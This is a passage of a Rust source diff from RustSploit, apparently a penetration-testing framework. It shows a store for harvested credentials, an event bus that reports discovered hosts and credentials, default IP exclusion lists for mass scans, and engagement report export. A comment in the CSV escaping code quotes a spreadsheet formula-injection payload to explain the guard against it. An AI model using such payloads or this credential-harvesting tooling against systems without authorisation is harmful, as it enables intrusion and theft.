|
||||
}
|
||||
}
|
||||
|
||||
/// List all credentials.
|
||||
pub async fn list(&self) -> Vec<CredEntry> {
|
||||
self.entries.read().await.clone()
|
||||
}
|
||||
|
||||
/// Search credentials by host.
|
||||
pub async fn search(&self, query: &str) -> Vec<CredEntry> {
|
||||
let q = query.to_lowercase();
|
||||
self.list().await.into_iter().filter(|e| {
|
||||
e.host.to_lowercase().contains(&q)
|
||||
|| e.service.to_lowercase().contains(&q)
|
||||
|| e.username.to_lowercase().contains(&q)
|
||||
}).collect()
|
||||
}
|
||||
|
||||
/// Delete a credential by ID.
|
||||
pub async fn delete(&self, id: &str) -> bool {
|
||||
// P1-1: same lock-during-save fix as `add()`. Holding the write
|
||||
// lock through the disk write keeps in-memory and on-disk state in
|
||||
// agreement under concurrent ops.
|
||||
let mut entries = self.entries.write().await;
|
||||
let before = entries.len();
|
||||
entries.retain(|e| e.id != id);
|
||||
if entries.len() < before {
|
||||
let snapshot = entries.clone();
|
||||
self.save_locked(&snapshot).await;
|
||||
return true;
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
/// Mark a credential valid/invalid by id (e.g. after a re-test shows the
|
||||
/// password was rotated). Returns true if the id was found. This is what
|
||||
/// makes the valid/invalid column shown by `display`/CSV actually settable.
|
||||
pub async fn set_valid(&self, id: &str, valid: bool) -> bool {
|
||||
let mut entries = self.entries.write().await;
|
||||
if let Some(e) = entries.iter_mut().find(|e| e.id == id) {
|
||||
e.valid = valid;
|
||||
let snapshot = entries.clone();
|
||||
self.save_locked(&snapshot).await;
|
||||
true
|
||||
} else {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/// Clear all credentials.
|
||||
pub async fn clear(&self) {
|
||||
let mut entries = self.entries.write().await;
|
||||
entries.clear();
|
||||
self.save_locked(&entries).await;
|
||||
}
|
||||
|
||||
async fn save_locked(&self, entries: &[CredEntry]) {
|
||||
if let Some(parent) = self.file_path.parent()
|
||||
&& let Err(e) = tokio::fs::create_dir_all(parent).await {
|
||||
eprintln!("[!] Failed to create creds directory: {}", e);
|
||||
return;
|
||||
}
|
||||
let tmp = self.file_path.with_extension("json.tmp");
|
||||
let json = match serde_json::to_string_pretty(entries) {
|
||||
Ok(j) => j,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to serialize credentials: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
{
|
||||
// P1-7: O_NOFOLLOW + create-with-mode atomically. A symlink raced
|
||||
// into place between create and open would otherwise redirect the
|
||||
// write to a privileged path with the credentials' contents.
|
||||
let mut opts = tokio::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true).mode(0o600);
|
||||
#[cfg(unix)]
|
||||
{
|
||||
opts.custom_flags(libc::O_NOFOLLOW);
|
||||
}
|
||||
let file = match opts.open(&tmp).await {
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to write temp creds file: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
let mut file = file;
|
||||
if let Err(e) = tokio::io::AsyncWriteExt::write_all(&mut file, json.as_bytes()).await {
|
||||
eprintln!("[!] Failed to write temp creds file: {}", e);
|
||||
return;
|
||||
}
|
||||
if let Err(e) = file.sync_all().await {
|
||||
eprintln!("[!] Failed to fsync temp creds file: {}", e);
|
||||
return;
|
||||
}
|
||||
}
|
||||
if let Err(e) = tokio::fs::rename(&tmp, &self.file_path).await {
|
||||
eprintln!("[!] Failed to rename creds file: {}", e);
|
||||
}
|
||||
}
|
||||
|
||||
/// Display all credentials in a formatted table.
|
||||
pub async fn display(&self) {
|
||||
let entries = self.list().await;
|
||||
if entries.is_empty() {
|
||||
println!("{}", "No credentials stored. Use 'creds add' to add one.".dimmed());
|
||||
return;
|
||||
}
|
||||
println!();
|
||||
println!("{}", format!("Credentials ({} total):", entries.len()).bold().underline());
|
||||
println!();
|
||||
println!(" {:<10} {:<18} {:<6} {:<10} {:<16} {:<20} {:<10} {}",
|
||||
"ID".bold(), "Host".bold(), "Port".bold(), "Service".bold(),
|
||||
"Username".bold(), "Secret".bold(), "Type".bold(), "Valid".bold());
|
||||
println!(" {}", "-".repeat(100).dimmed());
|
||||
for e in &entries {
|
||||
let valid_str = if e.valid { "yes".green() } else { "no".red() };
|
||||
println!(" {:<10} {:<18} {:<6} {:<10} {:<16} {:<20} {:<10} {}",
|
||||
e.id, e.host, e.port, e.service, e.username,
|
||||
if e.secret.chars().count() > 18 { format!("{}...", e.secret.chars().take(15).collect::<String>()) } else { e.secret.clone() },
|
||||
e.cred_type, valid_str);
|
||||
}
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Display search results.
|
||||
pub fn display_results(&self, results: &[CredEntry]) {
|
||||
if results.is_empty() {
|
||||
println!("{}", "No matching credentials found.".dimmed());
|
||||
return;
|
||||
}
|
||||
println!();
|
||||
println!("{}", format!("Found {} credential(s):", results.len()).bold());
|
||||
println!();
|
||||
for e in results {
|
||||
println!(" [{}] {}@{}:{} ({}) - {} [{}]",
|
||||
e.id.yellow(), e.username.green(), e.host, e.port,
|
||||
e.service, e.cred_type,
|
||||
if e.valid { "valid".green() } else { "invalid".red() });
|
||||
}
|
||||
println!();
|
||||
}
|
||||
}
|
||||
|
||||
pub static CRED_STORE: Lazy<CredStore> = Lazy::new(CredStore::new);
|
||||
|
||||
/// Convenience function for modules to store a discovered credential.
|
||||
/// Routes through the tenant registry when in a tenant context (API mode).
|
||||
pub async fn store_credential(cred: NewCred<'_>) -> Option<String> {
|
||||
let s = crate::tenant::resolve();
|
||||
s.cred_store().add(cred).await
|
||||
}
|
||||
+170
@@ -0,0 +1,170 @@
|
||||
// src/events.rs
|
||||
//
|
||||
// Structured module-event broadcast channel.
|
||||
//
|
||||
// This is a parallel surface to the human-facing `mprintln!` text macros:
|
||||
// modules emit machine-readable findings here, and the API / MCP / WebSocket
|
||||
// layers subscribe to consume them. The text macros stay — humans still read
|
||||
// stdout / spool — but consumers that want to know "did a credential get
|
||||
// found" no longer need to grep stdout.
|
||||
//
|
||||
// ## Versioning discipline
|
||||
//
|
||||
// `ModuleEvent` is `#[non_exhaustive]`. Adding a new variant is **not** a
|
||||
// breaking change for downstream consumers, because the compiler forces
|
||||
// every `match` to include a `_` arm. New variants will be added over time
|
||||
// without bumping the API version.
|
||||
//
|
||||
// New variants must be additive — never re-purpose, rename, or change the
|
||||
// shape of an existing variant. If a variant turns out to be wrong, deprecate
|
||||
// it and add a new one alongside; remove the old one only across a major
|
||||
// version boundary.
|
||||
//
|
||||
// ## Adoption is voluntary
|
||||
//
|
||||
// Modules that don't call `emit(...)` produce no events. Subscribers that
|
||||
// don't `subscribe()` are unaffected. The channel is designed so that v1
|
||||
// callers can opt in incrementally without coordinated rollout.
|
||||
|
||||
use serde::Serialize;
|
||||
use tokio::sync::broadcast;
|
||||
|
||||
/// Per-process broadcast channel capacity. When the channel is full, the
|
||||
/// oldest events are dropped (broadcast semantics) — subscribers see a
|
||||
/// `RecvError::Lagged(N)` they must handle. 1024 is enough for bursty
|
||||
/// workloads (mass scans) without unbounded memory.
|
||||
const CHANNEL_CAPACITY: usize = 1024;
|
||||
|
||||
/// A structured event emitted by a module to describe a finding or progress
|
||||
/// signal.
|
||||
///
|
||||
/// **Stability**: this enum is `#[non_exhaustive]`. New variants will be
|
||||
/// added; consumers MUST include a `_` arm in every `match`.
|
||||
///
|
||||
/// **v1 surface (committed)**:
|
||||
/// - `ModuleStarted` — a module is beginning execution against a target.
|
||||
/// - `ModuleFinished` — a module has finished, with a success/failure flag.
|
||||
/// - `HostUp` — discovered host is responsive.
|
||||
/// - `ServiceDetected` — a host:port is running an identified service.
|
||||
/// - `CredentialFound` — valid credential was confirmed on a service.
|
||||
/// - `LootStored` — module saved an artefact to the loot store.
|
||||
#[non_exhaustive]
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
#[serde(tag = "type", rename_all = "snake_case")]
|
||||
pub enum ModuleEvent {
|
||||
ModuleStarted {
|
||||
module: String,
|
||||
target: String,
|
||||
},
|
||||
ModuleFinished {
|
||||
module: String,
|
||||
target: String,
|
||||
success: bool,
|
||||
},
|
||||
HostUp {
|
||||
host: String,
|
||||
},
|
||||
ServiceDetected {
|
||||
host: String,
|
||||
port: u16,
|
||||
service: String,
|
||||
version: Option<String>,
|
||||
},
|
||||
CredentialFound {
|
||||
host: String,
|
||||
port: u16,
|
||||
service: String,
|
||||
username: String,
|
||||
},
|
||||
LootStored {
|
||||
id: String,
|
||||
host: String,
|
||||
kind: String,
|
||||
},
|
||||
/// PQ handshake was accepted; a new session is now live for `client_name`.
|
||||
/// Emitted by `pq_middleware::handshake_handler` on success.
|
||||
PqHandshakeAccepted {
|
||||
client_name: String,
|
||||
},
|
||||
/// PQ handshake was rejected. `reason` is a short, non-secret summary;
|
||||
/// `peer` is the remote socket address as a string (no resolution).
|
||||
PqHandshakeRejected {
|
||||
reason: String,
|
||||
peer: String,
|
||||
},
|
||||
/// An authorized key was revoked. `sessions_terminated` is the number of
|
||||
/// in-memory sessions torn down as a side effect.
|
||||
PqIdentityRevoked {
|
||||
name: String,
|
||||
by: String,
|
||||
sessions_terminated: usize,
|
||||
},
|
||||
/// A session was evicted from the in-memory store, either because the
|
||||
/// per-process cap was hit or as part of an explicit revocation.
|
||||
PqSessionEvicted {
|
||||
client_name: String,
|
||||
},
|
||||
/// Generic structured finding emitted by a module run. Used by the
|
||||
/// unified scheduler to surface results without losing them in stdout.
|
||||
Finding {
|
||||
module: String,
|
||||
target: String,
|
||||
kind: String,
|
||||
message: String,
|
||||
},
|
||||
}
|
||||
|
||||
/// Envelope that carries a module event along with the tenant that produced it.
|
||||
/// Subscribers filter on `tenant_id` to enforce cross-tenant isolation.
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct TenantEvent {
|
||||
pub tenant_id: Option<String>,
|
||||
pub event: ModuleEvent,
|
||||
}
|
||||
|
||||
/// Singleton event bus. One per process, lazily initialised.
|
||||
static EVENT_BUS: std::sync::OnceLock<broadcast::Sender<TenantEvent>> =
|
||||
std::sync::OnceLock::new();
|
||||
|
||||
fn bus() -> &'static broadcast::Sender<TenantEvent> {
|
||||
EVENT_BUS.get_or_init(|| broadcast::channel(CHANNEL_CAPACITY).0)
|
||||
}
|
||||
|
||||
/// Subscribe to the module-event stream.
|
||||
///
|
||||
/// Returns a `broadcast::Receiver<TenantEvent>`. Subscribers MUST filter
|
||||
/// on `tenant_id` to prevent cross-tenant data leakage.
|
||||
pub fn subscribe() -> broadcast::Receiver<TenantEvent> {
|
||||
bus().subscribe()
|
||||
}
|
||||
|
||||
/// Emit a structured event. Automatically tags with the current tenant
|
||||
/// context (from `CURRENT_TENANT` task-local or `RunContext::tenant_id`).
|
||||
pub fn emit(event: ModuleEvent) {
|
||||
let tenant_id = crate::context::current_tenant_id()
|
||||
.or_else(|| {
|
||||
crate::tenant::CURRENT_TENANT
|
||||
.try_with(|t| t.clone())
|
||||
.ok()
|
||||
});
|
||||
if let Err(e) = bus().send(TenantEvent { tenant_id, event }) {
|
||||
tracing::trace!("Event bus: no active subscribers ({})", e);
|
||||
}
|
||||
}
|
||||
|
||||
/// Emit a structured event tagged with an explicit tenant. For events produced
|
||||
/// *outside* any `CURRENT_TENANT`/`RunContext` scope (e.g. the PQ handshake
|
||||
/// lifecycle in the middleware), pass the owning client's name so the event is
|
||||
/// routed to that tenant's subscribers only. `None` leaves it untagged, in
|
||||
/// which case subscribers drop it per the tenant-filtering contract — so it is
|
||||
/// never broadcast across tenants.
|
||||
pub fn emit_for(tenant_id: Option<String>, event: ModuleEvent) {
|
||||
if let Err(e) = bus().send(TenantEvent { tenant_id, event }) {
|
||||
tracing::trace!("Event bus: no active subscribers ({})", e);
|
||||
}
|
||||
}
|
||||
|
||||
/// Subscriber count, useful for debug logging.
|
||||
pub fn subscriber_count() -> usize {
|
||||
bus().receiver_count()
|
||||
}
|
||||
@@ -0,0 +1,167 @@
|
||||
// src/exclusions.rs
|
||||
//
|
||||
// Pluggable IP exclusion lists for mass-scan operations. Replaces the
|
||||
// hard-coded `utils::bruteforce::EXCLUDED_RANGES` global.
|
||||
//
|
||||
// Layered resolution (later overrides earlier):
|
||||
// 1. Built-in defaults (`DEFAULT_EXCLUSIONS`) — bogons, RFC1918, multicast.
|
||||
// 2. Tenant config — `~/.rustsploit/<tenant>/exclusions.txt` or the
|
||||
// `exclusions` global option (comma-separated CIDRs or `@/path/to/file`).
|
||||
// 3. Per-scheduler-invocation override via `SchedulerLimits::exclusions`.
|
||||
//
|
||||
// Format: one CIDR or IP per line. `#` and `//` introduce comments. Empty
|
||||
// lines ignored.
|
||||
|
||||
use std::path::PathBuf;
|
||||
use std::sync::Arc;
|
||||
|
||||
use ipnetwork::IpNetwork;
|
||||
|
||||
/// Built-in exclusions: bogons, RFC1918, multicast, link-local. Operators
|
||||
/// running internal-only scans can override via `setg exclusions internal`
|
||||
/// to disable these (the literal string `internal` selects an empty list
|
||||
/// for operators who want to scan their own infrastructure).
|
||||
pub const DEFAULT_EXCLUSIONS: &[&str] = &[
|
||||
// RFC1918 + reserved
|
||||
"10.0.0.0/8",
|
||||
"127.0.0.0/8",
|
||||
"172.16.0.0/12",
|
||||
"192.168.0.0/16",
|
||||
"0.0.0.0/8",
|
||||
"100.64.0.0/10",
|
||||
"169.254.0.0/16",
|
||||
"224.0.0.0/4",
|
||||
"240.0.0.0/4",
|
||||
"255.255.255.255/32",
|
||||
// Cloudflare anycast
|
||||
"1.0.0.1/32",
|
||||
"1.1.1.1/32",
|
||||
"103.21.244.0/22",
|
||||
"103.22.200.0/22",
|
||||
"103.31.4.0/22",
|
||||
"104.16.0.0/13",
|
||||
"104.24.0.0/14",
|
||||
"108.162.192.0/18",
|
||||
"131.0.72.0/22",
|
||||
"141.101.64.0/18",
|
||||
"162.158.0.0/15",
|
||||
"172.64.0.0/13",
|
||||
"173.245.48.0/20",
|
||||
"188.114.96.0/20",
|
||||
"190.93.240.0/20",
|
||||
"197.234.240.0/22",
|
||||
"198.41.128.0/17",
|
||||
// Google public DNS
|
||||
"8.8.8.8/32",
|
||||
"8.8.4.4/32",
|
||||
];
|
||||
|
||||
/// Resolved exclusion list for one scheduler invocation.
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct ExclusionSet {
|
||||
nets: Vec<IpNetwork>,
|
||||
}
|
||||
|
||||
impl ExclusionSet {
|
||||
/// Parse a slice of CIDR strings, warning on invalid entries.
|
||||
pub fn from_strs<I, S>(strs: I) -> Self
|
||||
where
|
||||
I: IntoIterator<Item = S>,
|
||||
S: AsRef<str>,
|
||||
{
|
||||
let nets = strs
|
||||
.into_iter()
|
||||
.filter_map(|s| {
|
||||
match s.as_ref().parse::<IpNetwork>() {
|
||||
Ok(net) => Some(net),
|
||||
Err(e) => {
|
||||
eprintln!("[!] Invalid exclusion entry '{}': {}", s.as_ref(), e);
|
||||
None
|
||||
}
|
||||
}
|
||||
})
|
||||
.collect();
|
||||
Self { nets }
|
||||
}
|
||||
|
||||
/// The standard built-in default list.
|
||||
pub fn defaults() -> Self {
|
||||
Self::from_strs(DEFAULT_EXCLUSIONS.iter().copied())
|
||||
}
|
||||
|
||||
/// Empty set — for "I really mean it, don't filter anything" operators.
|
||||
pub fn empty() -> Self {
|
||||
Self { nets: Vec::new() }
|
||||
}
|
||||
|
||||
/// Resolve the active set: tenant config overlays the defaults.
|
||||
/// `setg exclusions ""` → defaults
|
||||
/// `setg exclusions internal` → empty (no filtering)
|
||||
/// `setg exclusions a.b.c.d/8,..` → defaults + comma-separated CIDRs
|
||||
/// `setg exclusions @/path/to/file`→ defaults + lines from file
|
||||
pub fn from_global_options() -> Self {
|
||||
let scope = crate::tenant::resolve();
|
||||
let opts = scope.global_options();
|
||||
let raw = opts.try_get("exclusions").unwrap_or_default();
|
||||
let trimmed = raw.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Self::defaults();
|
||||
}
|
||||
if trimmed.eq_ignore_ascii_case("internal") || trimmed.eq_ignore_ascii_case("none") {
|
||||
return Self::empty();
|
||||
}
|
||||
let mut set = Self::defaults();
|
||||
if let Some(path) = trimmed.strip_prefix('@') {
|
||||
let path = path.trim();
|
||||
match read_exclusion_file(PathBuf::from(path)) {
|
||||
Ok(extra) => set.nets.extend(extra.nets),
|
||||
// Fail LOUD: an operator who pointed at a file expects their
|
||||
// custom exclusions applied. Silently falling back to defaults
|
||||
// would scan ranges they meant to exclude.
|
||||
Err(e) => tracing::warn!(
|
||||
"exclusions: could not read '{}': {e}. Custom exclusions NOT applied — using defaults only.",
|
||||
path
|
||||
),
|
||||
}
|
||||
} else {
|
||||
for s in trimmed.split(',').map(str::trim).filter(|s| !s.is_empty()) {
|
||||
match s.parse::<IpNetwork>() {
|
||||
Ok(net) => set.nets.push(net),
|
||||
Err(e) => tracing::warn!("exclusions: ignoring invalid CIDR '{}': {e}", s),
|
||||
}
|
||||
}
|
||||
}
|
||||
set
|
||||
}
|
||||
|
||||
pub fn contains(&self, ip: std::net::IpAddr) -> bool {
|
||||
self.nets.iter().any(|n| n.contains(ip))
|
||||
}
|
||||
|
||||
pub fn networks(&self) -> &[IpNetwork] {
|
||||
&self.nets
|
||||
}
|
||||
|
||||
pub fn len(&self) -> usize {
|
||||
self.nets.len()
|
||||
}
|
||||
|
||||
pub fn is_empty(&self) -> bool {
|
||||
self.nets.is_empty()
|
||||
}
|
||||
}
|
||||
|
||||
fn read_exclusion_file(path: PathBuf) -> std::io::Result<ExclusionSet> {
|
||||
let raw = std::fs::read_to_string(&path)?;
|
||||
let lines = raw.lines().map(|l| {
|
||||
let l = l.split('#').next().unwrap_or(l);
|
||||
let l = l.split("//").next().unwrap_or(l);
|
||||
l.trim().to_string()
|
||||
});
|
||||
Ok(ExclusionSet::from_strs(lines.filter(|s| !s.is_empty())))
|
||||
}
|
||||
|
||||
/// Convenience: shared `Arc` of the resolved set for the active tenant.
|
||||
pub fn shared() -> Arc<ExclusionSet> {
|
||||
Arc::new(ExclusionSet::from_global_options())
|
||||
}
|
||||
+235
@@ -0,0 +1,235 @@
|
||||
use std::io::Write;
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use serde::Serialize;
|
||||
|
||||
/// Write data to a file, rejecting symlinks atomically with O_NOFOLLOW.
|
||||
fn safe_write(path: &str, data: &[u8]) -> Result<()> {
|
||||
#[cfg(unix)]
|
||||
{
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
// Owner-only (0o600): the export aggregates every credential secret in
|
||||
// cleartext plus hosts/loot, so it must never be created world-readable
|
||||
// — matching the cred/loot/workspace stores which all write 0o600.
|
||||
let mut file = std::fs::OpenOptions::new()
|
||||
.write(true)
|
||||
.create(true)
|
||||
.truncate(true)
|
||||
.mode(0o600)
|
||||
.custom_flags(libc::O_NOFOLLOW)
|
||||
.open(path)
|
||||
.context(format!("Failed to open '{}' (symlinks not allowed)", path))?;
|
||||
file.write_all(data)
|
||||
.context(format!("Failed to write to '{}'", path))?;
|
||||
file.flush()?;
|
||||
Ok(())
|
||||
}
|
||||
#[cfg(not(unix))]
|
||||
{
|
||||
std::fs::write(path, data).context(format!("Failed to write to '{}'", path))?;
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
/// Full engagement data for export.
|
||||
#[derive(Serialize)]
|
||||
struct EngagementExport {
|
||||
workspace: String,
|
||||
exported_at: String,
|
||||
hosts: Vec<crate::workspace::HostEntry>,
|
||||
services: Vec<crate::workspace::ServiceEntry>,
|
||||
credentials: Vec<crate::cred_store::CredEntry>,
|
||||
loot: Vec<crate::loot::LootEntry>,
|
||||
}
|
||||
|
||||
/// Gather all engagement data atomically.
|
||||
/// Workspace data is snapshotted in a single read to avoid mixing data
|
||||
/// across concurrent workspace switches.
|
||||
async fn gather_data() -> EngagementExport {
|
||||
let s = crate::tenant::resolve();
|
||||
let workspace_name = s.workspace().current_name().await;
|
||||
let workspace_data = s.workspace().get_data().await;
|
||||
EngagementExport {
|
||||
workspace: workspace_name,
|
||||
exported_at: chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
|
||||
hosts: workspace_data.hosts,
|
||||
services: workspace_data.services,
|
||||
credentials: s.cred_store().list().await,
|
||||
loot: s.loot_store().list().await,
|
||||
}
|
||||
}
|
||||
|
||||
/// Return engagement data as a JSON string.
|
||||
pub async fn export_json_string() -> Result<String> {
|
||||
let data = gather_data().await;
|
||||
serde_json::to_string_pretty(&data).context("Failed to serialize engagement data")
|
||||
}
|
||||
|
||||
/// Export all engagement data to a JSON file.
|
||||
pub async fn export_json(path: &str) -> Result<()> {
|
||||
validate_export_path(path)?;
|
||||
let json = export_json_string().await?;
|
||||
safe_write(path, json.as_bytes())?;
|
||||
crate::mprintln!("{}", format!("[+] Exported JSON to '{}'", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Return engagement data as a CSV string.
|
||||
pub async fn export_csv_string() -> Result<String> {
|
||||
let data = gather_data().await;
|
||||
let mut output = String::new();
|
||||
|
||||
output.push_str("# Hosts\n");
|
||||
output.push_str("ip,hostname,os_guess,first_seen,last_seen,notes_count\n");
|
||||
for h in &data.hosts {
|
||||
output.push_str(&format!("{},{},{},{},{},{}\n",
|
||||
csv_escape(&h.ip),
|
||||
csv_escape(h.hostname.as_deref().unwrap_or("")),
|
||||
csv_escape(h.os_guess.as_deref().unwrap_or("")),
|
||||
csv_escape(&h.first_seen),
|
||||
csv_escape(&h.last_seen),
|
||||
h.notes.len()));
|
||||
}
|
||||
output.push('\n');
|
||||
|
||||
output.push_str("# Services\n");
|
||||
output.push_str("host,port,protocol,service,version\n");
|
||||
for s in &data.services {
|
||||
output.push_str(&format!("{},{},{},{},{}\n",
|
||||
csv_escape(&s.host), s.port, csv_escape(&s.protocol),
|
||||
csv_escape(&s.service_name), csv_escape(s.version.as_deref().unwrap_or(""))));
|
||||
}
|
||||
output.push('\n');
|
||||
|
||||
output.push_str("# Credentials\n");
|
||||
output.push_str("id,host,port,service,username,secret,type,source,valid\n");
|
||||
for c in &data.credentials {
|
||||
output.push_str(&format!("{},{},{},{},{},{},{},{},{}\n",
|
||||
csv_escape(&c.id), csv_escape(&c.host), c.port,
|
||||
csv_escape(&c.service), csv_escape(&c.username),
|
||||
csv_escape(&c.secret), c.cred_type,
|
||||
csv_escape(&c.source_module), c.valid));
|
||||
}
|
||||
output.push('\n');
|
||||
|
||||
output.push_str("# Loot\n");
|
||||
output.push_str("id,host,type,description,filename,source\n");
|
||||
for l in &data.loot {
|
||||
output.push_str(&format!("{},{},{},{},{},{}\n",
|
||||
csv_escape(&l.id), csv_escape(&l.host), csv_escape(&l.loot_type),
|
||||
csv_escape(&l.description), csv_escape(&l.filename),
|
||||
csv_escape(&l.source_module)));
|
||||
}
|
||||
|
||||
Ok(output)
|
||||
}
|
||||
|
||||
/// Export engagement data to a CSV file.
|
||||
pub async fn export_csv(path: &str) -> Result<()> {
|
||||
validate_export_path(path)?;
|
||||
let output = export_csv_string().await?;
|
||||
safe_write(path, output.as_bytes())?;
|
||||
crate::mprintln!("{}", format!("[+] Exported CSV to '{}'", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Return a human-readable summary report as a string.
|
||||
pub async fn export_summary_string() -> Result<String> {
|
||||
let data = gather_data().await;
|
||||
let mut report = String::new();
|
||||
|
||||
report.push_str("============================================================\n");
|
||||
report.push_str(" RustSploit Engagement Report\n");
|
||||
report.push_str("============================================================\n\n");
|
||||
report.push_str(&format!("Workspace: {}\n", data.workspace));
|
||||
report.push_str(&format!("Generated: {}\n\n", data.exported_at));
|
||||
|
||||
report.push_str("--- Summary ---\n");
|
||||
report.push_str(&format!("Hosts discovered: {}\n", data.hosts.len()));
|
||||
report.push_str(&format!("Services found: {}\n", data.services.len()));
|
||||
report.push_str(&format!("Credentials obtained: {}\n", data.credentials.len()));
|
||||
report.push_str(&format!("Loot collected: {}\n\n", data.loot.len()));
|
||||
|
||||
if !data.hosts.is_empty() {
|
||||
report.push_str("--- Hosts ---\n");
|
||||
for h in &data.hosts {
|
||||
report.push_str(&format!(" {} ({})\n", h.ip, h.hostname.as_deref().unwrap_or("unknown")));
|
||||
if let Some(ref os) = h.os_guess { report.push_str(&format!(" OS: {}\n", os)); }
|
||||
if !h.notes.is_empty() {
|
||||
report.push_str(" Notes:\n");
|
||||
for note in &h.notes { report.push_str(&format!(" - {}\n", note)); }
|
||||
}
|
||||
}
|
||||
report.push('\n');
|
||||
}
|
||||
if !data.services.is_empty() {
|
||||
report.push_str("--- Services ---\n");
|
||||
for s in &data.services {
|
||||
report.push_str(&format!(" {}:{}/{} - {} {}\n", s.host, s.port, s.protocol, s.service_name, s.version.as_deref().unwrap_or("")));
|
||||
}
|
||||
report.push('\n');
|
||||
}
|
||||
if !data.credentials.is_empty() {
|
||||
report.push_str("--- Credentials ---\n");
|
||||
for c in &data.credentials {
|
||||
report.push_str(&format!(" {}@{}:{} ({}) - {} [{}]\n", c.username, c.host, c.port, c.service, c.cred_type, if c.valid { "valid" } else { "invalid" }));
|
||||
}
|
||||
report.push('\n');
|
||||
}
|
||||
if !data.loot.is_empty() {
|
||||
report.push_str("--- Loot ---\n");
|
||||
for l in &data.loot {
|
||||
report.push_str(&format!(" [{}] {} from {} - {}\n", l.loot_type, l.filename, l.host, l.description));
|
||||
}
|
||||
report.push('\n');
|
||||
}
|
||||
report.push_str("============================================================\n");
|
||||
report.push_str("Generated by RustSploit (https://github.com/thekiaboys/rustsploit)\n");
|
||||
Ok(report)
|
||||
}
|
||||
|
||||
/// Export a human-readable summary report to a file.
|
||||
pub async fn export_summary(path: &str) -> Result<()> {
|
||||
validate_export_path(path)?;
|
||||
let report = export_summary_string().await?;
|
||||
safe_write(path, report.as_bytes())?;
|
||||
crate::mprintln!("{}", format!("[+] Exported summary report to '{}'", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn csv_escape(s: &str) -> String {
|
||||
let mut val = s.to_string();
|
||||
// Spreadsheets trim leading whitespace before evaluating a cell, so check
|
||||
// the first *non-whitespace* char — otherwise " =cmd|'/c calc'!A1" (note
|
||||
// the leading space) slips past a naive `starts_with('=')` guard.
|
||||
let needs_formula_guard = val
|
||||
.trim_start()
|
||||
.chars()
|
||||
.next()
|
||||
.is_some_and(|c| matches!(c, '=' | '+' | '@' | '-' | '\t' | '\r'));
|
||||
if needs_formula_guard {
|
||||
val = format!("'{}", val);
|
||||
}
|
||||
if needs_formula_guard || val.contains(',') || val.contains('"') || val.contains('\n') {
|
||||
format!("\"{}\"", val.replace('"', "\"\""))
|
||||
} else {
|
||||
val
|
||||
}
|
||||
}
|
||||
|
||||
pub fn validate_export_path(path: &str) -> Result<()> {
|
||||
if path.is_empty() || path.len() > 255 {
|
||||
return Err(anyhow::anyhow!("Invalid export path length (max 255 chars)"));
|
||||
}
|
||||
if path.contains("..") || path.contains('\0') {
|
||||
return Err(anyhow::anyhow!("Path traversal not allowed in export path"));
|
||||
}
|
||||
if path.starts_with('/') || path.starts_with('\\') || path.contains('/') || path.contains('\\') {
|
||||
return Err(anyhow::anyhow!("Only filenames are allowed for export (no directory separators). Use a relative filename like 'report.json'."));
|
||||
}
|
||||
if path.starts_with('.') {
|
||||
return Err(anyhow::anyhow!("Hidden files not allowed for export"));
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,186 @@
|
||||
use std::collections::HashMap;
|
||||
use std::path::PathBuf;
|
||||
|
||||
use colored::*;
|
||||
use once_cell::sync::Lazy;
|
||||
use tokio::sync::RwLock;
|
||||
|
||||
/// Persistent global options that apply across all modules.
|
||||
/// Like Metasploit's `setg` — values are checked by `cfg_prompt_*`
|
||||
/// after custom_prompts but before interactive stdin.
|
||||
pub struct GlobalOptions {
|
||||
options: RwLock<HashMap<String, String>>,
|
||||
file_path: PathBuf,
|
||||
}
|
||||
|
||||
impl GlobalOptions {
|
||||
fn new() -> Self {
|
||||
let base = home::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".rustsploit");
|
||||
Self::with_base_dir(base)
|
||||
}
|
||||
|
||||
/// Create a global options store under a custom base directory.
|
||||
pub(crate) fn with_base_dir(base: PathBuf) -> Self {
|
||||
let file_path = base.join("global_options.json");
|
||||
|
||||
let options = if file_path.exists() {
|
||||
match std::fs::read_to_string(&file_path) {
|
||||
Ok(contents) => match serde_json::from_str(&contents) {
|
||||
Ok(data) => data,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Warning: global_options.json is corrupted ({}). Starting fresh.", e);
|
||||
let backup = file_path.with_extension("json.bak");
|
||||
if let Err(e) = std::fs::copy(&file_path, &backup) {
|
||||
eprintln!("[!] Failed to backup corrupted global_options.json: {}", e);
|
||||
}
|
||||
HashMap::new()
|
||||
}
|
||||
},
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to read global_options.json: {}", e);
|
||||
HashMap::new()
|
||||
}
|
||||
}
|
||||
} else {
|
||||
HashMap::new()
|
||||
};
|
||||
|
||||
Self {
|
||||
options: RwLock::new(options),
|
||||
file_path,
|
||||
}
|
||||
}
|
||||
|
||||
const MAX_KEY_LEN: usize = 256;
|
||||
const MAX_VALUE_LEN: usize = 4096;
|
||||
const MAX_ENTRIES: usize = 1024;
|
||||
|
||||
/// Set a global option. Persists to disk.
|
||||
/// Returns false if key/value exceed size limits or entry cap reached.
|
||||
pub async fn set(&self, key: &str, value: &str) -> bool {
|
||||
if key.is_empty() || key.len() > Self::MAX_KEY_LEN || value.len() > Self::MAX_VALUE_LEN {
|
||||
return false;
|
||||
}
|
||||
// P1-1: hold the lock across the disk save. Previous code released
|
||||
